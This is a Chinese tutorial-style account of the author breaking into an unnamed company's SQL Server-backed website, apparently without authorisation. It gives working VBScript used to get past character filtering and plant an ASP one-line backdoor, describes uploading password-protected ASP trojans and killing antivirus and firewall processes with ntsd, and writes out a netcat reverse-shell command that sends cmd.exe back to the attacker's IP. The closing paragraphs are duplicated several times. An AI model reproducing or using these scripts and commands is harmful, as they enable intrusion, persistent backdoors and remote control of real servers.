巧妙绝伦的意思,脚本的巧妙应用

脚本的巧妙应用 - 网络安全 - 电脑教程网

脚本的巧妙应用

日期:2007-09-21   荐:
今天在网上看到一个动画,动画里说那些大公司的安全做的怎么怎么差,所以我便决定找个看看,在Google随便输入了"集团",搜索到的第一页随便点击就进了一家公司的网站。随便点了一个连接加了一个单引号
http://www.xxx.com.cn/gushi.asp?pid=8&cid=111'
晕,返回错误:
Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.ASP,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。
/inc/artid.inc,行8
返回的信息说明是SQL Server
ping www.xxx.com.cn后返回IP:61.XX.XX.68通过IP可以直接访问这个网站,说明是独立的服务器。
我一下来了兴致看来是家有钱的大公司,用NBSI检测了下这个连接,竟然是SA权限的!
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>

我用SUPERSCAN扫描了这台主机的开放端口只开放了80及8080端口(都是提供web服务,看来是装了_blank">防火墙,意料之中)。这样的话直接添加用户开3389什么都失去了意义了。只好重新理清头绪。
首先想到的是用ECHO写一个FTP.txt文件然后执行ftp -s:ftp.txt来下载一个nc在NBSI里执行命令反向连接过来就可以得到它的系统权限了,但在用ECHO写文件时又出了问题了,我输入一条ECHO命令竟然执行了四次。如图我输入命令 echo open ftp.eviloctal.com>>e:\xxxweb\app\3.txt(e:\xxxweb为网站根目录)竟然往文件里写入了四次这样的话直接用ftp.txt下载文件肯定没戏。
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>

(特别提示:用NBSI执行命令的时侯最好不要勾选尝试返回结果,因为执行命令会很慢很慢,而用重定向符">>"把命令的执行结果重定向输出到web目录比如dir c:\可以写成dir c:\ >> e:\xxxweb\app\1.txt这样速度很快然后通过浏览器查看命令执行结果浏览http://www.xxx.com.cn/app/1.txt e:\xxxweb为网站的根目录)
如果能把那个一句话的后门(服务端:)写到WEB目录就好办了,但是不管怎么ECHO %也被过滤掉了。在本地执行echo ^的文件,但在NBSI里执行时无论如何生成的文件中%被过滤了。内容变成:






这样的话,就没办法直接写一句话的ASP服务端后门了。(内容为四句原因同上)我想到了先写一个VBS脚本然后把要写的文件内容作为参数传递给VBS脚本去处理生成相应的文件。
写文件的脚本writefile.vbs(命令格式为cscript writefile.vbs "要写的字串" 目标文件)内容为:

[1] [2] [3] [4]  

on error resume next:x=1:
str=replace(Wscript.Arguments(0),"==",vbcrlf):  '将==替换回车
str=replace(str,"**",""""):          ‘将**替换为符号"
str=replace(str,"--",chr(38)):        ‘将--替换为符号 &
str=replace(str,"@@",chr(37)):       '将@@替换符号%
Set fso = CreateObject("Scripting.FileSystemObject"):
Set a = fso.CreateTextFile(Wscript.Arguments(1),true): ‘创建文件,文件名为执行时给出的第二个参数
if x=1 then a.Write(str):x=2:set fso=nothing:set a=nothing end if:
这个文件得用ECHO命令把它写到服务器上xxx.vbe或xxx.vbs,然后用这个VBS写我们要的文件。(上面中因为像",%,&,回车符 是不能直接作为参数传递给脚本文件的,所以还需要对这些字符进行替换。下面的脚本trans.vbs将完成相反的过程)
简单解释一下:第一条语句是最重要的,容错语句不管后面的程序出了什么错都继续执行。其次是IF语句,为了避免多条语句重复向文件写入同样的内容用了一个标志若x=1才执行写文件,写完马上把x赋值为2。其次可能你会感到奇怪为什么每条语句后加了:,其实是因为我考虑到如果在同一行有多条相同的语句的时侯可以保证程序还能执行。比如:
str=replace(Wscript.Arguments(0),"==",vbcrlf):str=replace(Wscript.Arguments(0),"==",vbcrlf):
若写成str=replace(Wscript.Arguments(0),"==",vbcrlf)
则一行显示多条相同语句时变成
str=replace(Wscript.Arguments(0),"==",vbcrlf)str=replace(Wscript.Arguments(0),"==",vbcrlf)
这样程序便不能正常执行了。
",%,&,回车符 是不能直接作为参数传递给脚本文件,容易看出用==代替了回车,用**代替了双引号,用--代替了&,用@@代替了%.在执行写文件得先把我们要写的文件比如转换成writefile.vbs可以接受的格式。用下面的脚本转换trans.vbs(命令格式为cscript trans.vbs 源文件 目标文件):
on error resume next
if Wscript.Arguments.count2 then
wscript.echo "参数有误啦 格式为:cscript trans.vbs 源文件 目标文件"
wscript.quit
end if
Set fso=CreateObject("Scripting.FileSystemObject")
Set a=fso.openTextFile(Wscript.Arguments(0))
str=a.readall
str=replace(str,"""","**") '把双引号替换成**
str=replace(str,vbcrlf,"==") '把回车替换成==
str=replace(str,"&","--") '把&号替换成--
str=replace(str,"%","@@") '把%替换成@@
wscript.echo str
Set a=fso.CreateTextFile(Wscript.Arguments(1), True)
a.Write(str)
在本地执行cscript trans.vbs one.txt onetrans.txt
其中one.txt为我们的一句话后门内容为:
转换后内容存在onetrans.txt中内容变成转换后的:保存在文件onetrans.txt中。
writefile.vbs的ECHO代码为:
echo on error resume next:x=1:>>writefile.vbe
echo str=replace(Wscript.Arguments(0),"==",vbcrlf):>>writefile.vbe
echo str=replace(str,"**",""""):>>writefile.vbe
echo str=replace(str,"--",chr(38)):>>writefile.vbe
echo str=replace(str,"@@",chr(37)):>>writefile.vbe 
echo Set fso = CreateObject("Scripting.FileSystemObject"):>>writefile.vbe
echo Set a = fso.CreateTextFile(Wscript.Arguments(1),true):>>writefile.vbe
echo if x=1 then a.Write(str):x=2:set fso=nothing:set a=nothing end if:>>writefile.vbe
把上面的命令一句句拿到NBSI的NB Commander 命令执行器上执行一下就在对方的系统目录下写进了一个文件writefile.vbe,接着就可以把一句话的服务器的后门写到对方WEB目录下了!命令为:
cscript writefile.vbe "" d:\web\app\1.asp (注意当传递给脚本的参数中含空格时一定得用两个双引号括起来!)

 [1] [2] [3] [4]  

相应的地址为:http://www.xxx.com.cn/app/1.asp
把post.htm的form action指向这个地址我们就可以在本地把我们的木马上传到服务器上了!如图:
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>

执行post.htm在下面的文本框中粘贴一下我们用来保存文件的ASP木马。并点击upload当成功转向EST论坛时说明ASP木马上传成功了!
我很顺利的把保存文件的木马上传到了服务器上文件名为advv.asp.如图:
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>

我把这个木马加了验证所以必须得通过这个url才能顺利访问:
http://www.xxx.com.cn/app/advv.asp?id=haicao (当未加参数id=haicao时显示空页面)
实现密码验证的功能很简单只要在ASP文件头部加上以下语句就可以了其中的haicao为密码可以自已修改。
用保存文件木马(这里上传后文件为advv.asp)上传cmd.asp(同样加了密码验证haicao)
上传了列举进程的脚本,文件名保存为list2.vbe:
wscript.echo "PID ProcessName"
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ '>e:\xxxweb\app\1.txt然后通过IE查看文件1.txt)
Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
PID ProcessName
0 System Idle Process
8 System
160 SMSS.EXE
184 CSRSS.EXE
204 WINLOGON.EXE
232 SERVICES.EXE
244 LSASS.EXE
448 svchost.exe
480 spoolsv.exe
508 msdtc.exe
624 svchost.exe
652 LLSSRV.EXE
692 sqlservr.exe
744 regsvc.exe
780 mstask.exe
848 WinMgmt.exe
900 svchost.exe
920 dfssvc.exe
936 inetinfo.exe
952 mssearch.exe
1256 DLLHOST.EXE
1296 DLLHOST.EXE
1648 svchost.exe
968 eXPlorer.exe
1784 Rfw.exe   防火墙
1628 internat.exe
1612 sqlmangr.exe
1944 CCenter.exe
1572 RavTimer.exe
1260 Rav.exe
1652 RsAgent.exe
996 agentsvr.exe
2048 sqlagent.exe
1172 CMD.EXE
2024 cscript.exe
第一列为进程ID第二列为进程名。
开启的服务如下:(命令为net start,执行方法同上)
已经启动以下 windows 2000 服务:
 Alerter
 Automatic Updates
 COM+ Event System
 Computer Browser
 DHCP Client
 Distributed File System
 Distributed Link Tracking Client
 Distributed Transaction Coordinator
 DNS Client
 Event Log
 IIS Admin Service
 IPSEC Policy Agent
 License Logging Service
 Logical Disk Manager

 [1] [2] [3] [4]  

 Messenger
 Microsoft Search
 MSSQLSERVER
 Network Connections
 NT LM Security Support Provider
 Plug and Play
 Print Spooler
 Protected Storage
 Remote Access Connection Manager
 Remote Procedure Call (RPC)
 Remote Registry Service
 Removable Storage
 Rising Process Communication Center
 RunAs Service
 Security Accounts Manager
 Server
 Site Server ILS Service
 SQLSERVERAGENT
 System Event Notification
 Task Scheduler
 TCP/IP NetBIOS Helper Service
 Telephony
 Windows Management Instrumentation
 Windows Management Instrumentation Driver Extensions
 Workstation
 World Wide Web Publishing Service
命令成功完成。
我先后在NBSI里执行了ntsd命令关掉瑞星网络_blank">防火墙及瑞星杀毒软件(命令格式为ntsd -c q -p PID).
关掉网络_blank">防火墙后,依然只能连到原先可以访问的80及8080(都是web服务。基本上是硬件_blank">防火墙或者是过滤了tcp端口)还上传了海洋顶端(用advv.asp上传),用海洋顶端上传了NC.EXE,先在本机nc -vv -l -p 80监听后,然后在NBSI里执行反向连接的命令(注:那为什么要在NBSI而不直接在cmd.asp里执行反向连接呢,相信你已经想到了在NBSI里反向过来的是administrator权限而cmd.asp里执行反向命令连接过来的却只有iusr权限,呵呵。
)nc 222.75.88.181 -r 80 -e cmd.exe其中222.75.88.181是我的IP顺利的得到了对方的shell如图:
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>

之后我尝试了几个其它的端口依然可以正常的反向连接过来,到此我没再深入下去了,怕怕。
后记:在上传一句话的服务端ASP后门之前我先用writefile.vbe写了ftp.txt的文件进行下载,但是失败了下载完文件的大小为0字节,开始没仔细看就尝试反向连接,失败了,很郁闷(:后来才发现是FTP下载失败.灵活的应用vbs脚本将会使成功入侵顺利得多,呵呵.这次成功的入侵有一些偶然,因为是独立的服务器权限设置全部是默认的设置,省了不少麻烦。如果是虚拟主机SQL也不可能是SA权限的。这次的入侵有点偶然,但灵活的脚本应用也是这次成功的关键!
文章相关脚本下载:http://haicao.1ki.cn/down/otherscript.rar

(出处:http://www.sheup.com)


 [1] [2] [3] [4] 

)nc 222.75.88.181 -r 80 -e cmd.exe其中222.75.88.181是我的IP顺利的得到了对方的shell如图:
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>

之后我尝试了几个其它的端口依然可以正常的反向连接过来,到此我没再深入下去了,怕怕。
后记:在上传一句话的服务端ASP后门之前我先用writefile.vbe写了ftp.txt的文件进行下载,但是失败了下载完文件的大小为0字节,开始没仔细看就尝试反向连接,失败了,很郁闷(:后来才发现是FTP下载失败.灵活的应用vbs脚本将会使成功入侵顺利得多,呵呵.这次成功的入侵有一些偶然,因为是独立的服务器权限设置全部是默认的设置,省了不少麻烦。如果是虚拟主机SQL也不可能是SA权限的。这次的入侵有点偶然,但灵活的脚本应用也是这次成功的关键!
文章相关脚本下载:http://haicao.1ki.cn/down/otherscript.rar

(出处:http://www.sheup.com)


 [1] [2] [3] [4] [5] 

screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>

之后我尝试了几个其它的端口依然可以正常的反向连接过来,到此我没再深入下去了,怕怕。
后记:在上传一句话的服务端ASP后门之前我先用writefile.vbe写了ftp.txt的文件进行下载,但是失败了下载完文件的大小为0字节,开始没仔细看就尝试反向连接,失败了,很郁闷(:后来才发现是FTP下载失败.灵活的应用vbs脚本将会使成功入侵顺利得多,呵呵.这次成功的入侵有一些偶然,因为是独立的服务器权限设置全部是默认的设置,省了不少麻烦。如果是虚拟主机SQL也不可能是SA权限的。这次的入侵有点偶然,但灵活的脚本应用也是这次成功的关键!
文章相关脚本下载:http://haicao.1ki.cn/down/otherscript.rar

(出处:http://www.sheup.com)


 [1] [2] [3] [4] [5] [6] 

文章相关脚本下载:http://haicao.1ki.cn/down/otherscript.rar

(出处:http://www.sheup.com)


 [1] [2] [3] [4] [5] [6] [7] 

标签: